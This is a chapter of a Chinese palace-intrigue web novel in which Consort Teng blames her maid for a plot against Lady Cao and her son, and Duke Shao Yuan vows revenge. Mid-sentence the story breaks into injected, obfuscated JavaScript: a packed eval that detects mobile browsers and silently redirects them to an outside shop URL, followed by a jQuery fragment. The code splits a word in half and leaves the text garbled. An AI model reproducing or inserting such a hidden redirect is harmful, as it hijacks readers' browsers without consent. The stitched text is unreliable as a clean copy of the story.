本朝太后和皇后是可以召见母家人进宫的,命妇也能递牌子入宫拜见,有什么事儿也能召见命妇入宫。这种情况下一位有品级的命妇和国公府世子爷进宫竟然差点被人害了?
这天下还有王法吗?
那日后对有进宫资格的人来说,家人进宫到底是一种荣耀还是折磨?毕竟进宫可是有可能被人害死的!
这皇宫岂不是真成了个虎狼窝子了?
便是不提私心,皇上都很生气。
贵妃一下就慌了,招了?怎么会招?她脸色大变,着急忙慌地抬头去看皇上,可皇上脸上还是带着一直以来那淡淡的笑容,乍一看竟然让人觉得还挺温暖的……
皇上并没有太过出色的长相,可他生性温和,不管是对大臣还是对后妃从来就没有发怒过,看起来甚至不像个皇上,反而像是谁家的温和公子,但此时他仍旧笑着,那笑容却让人不寒而栗。
“皇上,臣妾没有!”滕贵妃赶忙跪在地上解释,“臣妾,臣妾与曹夫人和世子素无往来,没有必要针对他们啊!”
皇后看着又没忍住用捏着帕子的手挡了下嘴角,这个滕贵妃啊,有时候真觉得她傻得可爱!
明明是一脸天真愚笨却总觉得自己是天下第一聪明人,明明说话做事从不会拐弯抹角,却总觉得自己处处在给别人打机锋。
就像现在,因为着急眼珠子乱转,看着就像个又坏又憨的蠢材啊!
皇上笑着点了点头,“哦?那碧玉是贵妃贴身伺候的宫女,怎么偏就指责自己主子呢?这背主的责罚可不轻啊!难道是”,皇上故作停顿了一阵,见贵妃竖起耳朵满脸都是急躁地等着自己说下文他又觉得没意思,跟这种人虚与委蛇真没意思。
“难不成是贵妃身边的什么人悄悄给她下了令,倒让人以为是贵妃的命令了?”
琉璃紧紧抿住了唇,眼中满是惊惶。皇上什么意思,他难道是在引导贵妃把责任甩给自己?
那贵妃呢?贵妃会不会……
自己可跟了她这么多年啊!
可想到贵妃自小的性子,琉璃只觉得心口发疼,自己这条小命怕是要交代在这里了啊!
她不敢抬头,甚至身子伏得更低了,都贴到了地上。
感受着地面的冰凉,耳中声音断断续续,可最终还是听到了预料中的那句话。
“是琉璃,定是琉璃假借臣妾之名指使碧玉做的!”
眼泪瞬间如决堤一般落了下来,琉璃眼神坚定,她是活不成了,只希望贵妃和她背后的滕家能还存有一份善心,善待她的家人吧!
滕贵妃只觉得这话说出口后像是轻松了一分,但随即千万吨的压力又从四面八方涌来。
所有人都知道琉璃是跟着她进宫的贴身宫女,从她3岁起便伺候她,二十多年的感情,自己如今就这样轻易将人丢弃,他们该怎么看待自己呢?
可滕贵妃没有别的选择,她的声音愈发坚定,“是琉璃,定然是琉璃挑唆。”
皇帝像是轻叹了一声,“既然如此,那便将琉璃带下去审问吧!”
刘明成看着跪在几人面前哭得梨花带雨的女人只觉得面目可憎,也觉得她猫哭耗子假慈悲。
不过转念他又为自己母妃而不值得……
“爱妃可还有旁的事情?”皇上也没让她起来,只是笑着问她。
滕贵妃抬头看了他一眼,只觉得心痛难忍,“臣妾没有其他事了,臣妾告退。”
滕贵妃离开后,曹夫人这才敢抬起头来,生怕自己眼中的怨恨被人看到。
自己和儿子何辜,她竟然派人做出那种事情来!别说什么他们娘俩没出事,便是没出事,她滕丽华就不用负责了吗?皇上让琉璃出来担责她不是不恼的,但皇上肯定有他的顾虑,估计是此时不适合将滕丽华彻底搞下去吧!
“夫人再陪皇后说说话吧,朕也先回了”,皇上笑着朝曹夫人点了点头,又拍了拍皇后的手,路过邵明霄时还捏了捏他的鼻子,见邵明霄皱着鼻子的模样轻笑,“闲了便来宫中看看朕和你姨母,太子在宫中也是孤单的。”
邵明霄老实答应下来后皇上没再理会其他人,转身离去。
两人在宫中待到下午,带着两大车的东西出宫回府。
一出宫曹夫人和邵明霄两人对视一眼都缓缓吐出一口气,只觉得宫外真是天朗气清啊!
刚想说什么便听见了邵渊带着笑意的声音,“可算出来了,一切可还顺利?”
原本见着邵渊高兴的曹夫人和邵明霄两人想到宫里发生的事情脸就沉了下来,邵渊一见便知道事情不对,他脸上的笑意也淡了,“先回府,有事咱们回去再说。”
一行人带着皇上皇后赏的东西回了国公府之后,邵渊也没心思关心后面那些赏赐了,他拉着曹夫人看了一圈又将邵明霄揽在怀里好好检查了一番这才松了口气。
“到底是怎么了?娘娘皇上可还慈爱?”
曹夫人心里的委屈涌了上来,她拿帕子压了压眼角,“皇上娘娘倒是待咱们亲厚,太子对明霄也很友善”,可随后等她将滕贵妃他们做的事情一说,邵渊脸立马就黑了。
“岂有此理!岂有此理!我邵家当初跟着太祖打天下的时候,他滕家还不知道在哪个土堆子底下刨食吃呢!如今不过得意几年,倒让他们横起来了!”
“我邵家如今却是大不如前,但也是咱大明唯一一户国公爵位,那可是世袭罔替!”
“滕家不就仗着自个儿家里出了一位皇后,又手下门生弟子成群,还不乏掌权武将吗?实际上呢?一个个弄权成性,真当这天下人都能让他滕家拿捏?”
“当年说是扶持皇上登基,但谁不知道,他滕家根本就没别的人选,他想保住滕家的权势地位只能扒着当今皇上,如今倒自诩成了皇上的大恩人了?”
“老爷!”曹夫人见他越说越不成个样子,心里直发愁,赶忙打断他,“慎言!慎言!”
这话想来就算皇上听了心里也会不舒服的吧!
邵渊哼了一声,他也知道自己过了,可就是咽不下心里这口气!
他拢共就这么两个亲人了,结果差点全栽到了滕家那个贵妃手里,他怎能不恨?
邵渊眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998695|193915||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛一转,转身就往外走。
曹夫人见他这样就知道他肯定是一肚子的坏点子,赶忙拉着他的胳膊,“老爷这是要做什么?凡事儿可得想想明霄,你若是做了什么,咱们夫妻倒无碍,可别耽搁了孩子啊!”
邵渊哼了一声,他用力揉了下邵明霄的头发,“我儿等着,爹这就给你报仇去!”
他有什么好怕的?
就算不提他跟皇上少年时的情谊,便是他家这个情况,只要他不造反不大肆杀人放火,不管是谁都不能轻易拿他家如何!
跟随太祖打天下的勋贵如今位列国公的只有他家了,其他人被削爵的削爵,降爵的降爵,还有人不是世袭罔替,三代两代之后便没了爵位的,如此种种不是没有人暗地里说他们老刘家做事不地道鸟尽弓藏的。
这种情况下,他们老邵家当初首先放弃兵权,这么多年来虽然没出过什么成器的人才,但每一个那都是绝对忠心不二的。
他们家不就是老刘家最好的施恩对象?
就算不施恩,那每年那么些俸禄养着他们,甭管是谁都说不出一个不字!
那些文臣武将们也是乐意有他家在的,他家的存在至少告诉了其他人,皇家总不至于太过苛待有功之臣的。
这种情况下,他什么不能干?
从前他是对这些无所谓,也不爱掺和到那些事情中去,但如今可不一样,自己老老实实的,那些狗东西就觉得自己是软柿子了,就觉得自己妻儿也都可以随意拿捏随意伤害了是吧?
他若不站出来做点什么,日后不说自己和曹夫人,将来邵明霄出去交际的时候是不是就得被那些捧高踩低的人欺辱了?
他是没出息,但也不能让人这么欺负他们老邵家的老老小小!
他眼珠子一转,拍了拍邵明霄的手就往外走去。
邵明霄瞪大了眼睛看向曹夫人,“娘,我爹,我爹他”。
他爹这是要搞事的节奏啊!
曹夫人从最开始惊吓的状态中缓过来后反而淡定下来了,“我儿莫慌,你爹这人看着不着调,实际上心里有数得很呢!”
老邵家对子嗣的教育就是这样,可以没出息,但是一定得眼明心亮,不该做的事情不要做,但不该怕的事儿也不必怕。
他老邵家虽然没有免死金牌,但是只要这当皇帝的还是老刘家,便是延续了千百代,也得给老邵家留几分面子情!
而且有时候其实你闹出点事情来,反而容易让上面的人对你留下印象,你越是不声不响的,人家才会忘了你这个人呢!
“早几年皇上那边日子也不太好过”,曹夫人斟酌着说辞,虽然按道理讲皇上已经是这个天下权势最大的人了,但皇上并非先帝属意的太子,身后也没有母族帮衬,滕家又是心里没数儿的。
所以虽然这样说有点可笑,但皇上确实挺难的。
“你爹他不愿给皇上添负累,所以老实了几年,但如今”,曹夫人笑了笑,邵明霄注意到她的神情似乎也比以前多了两分肆意。
“如今你爹闹一闹也好,也能让皇上娘娘一笑!”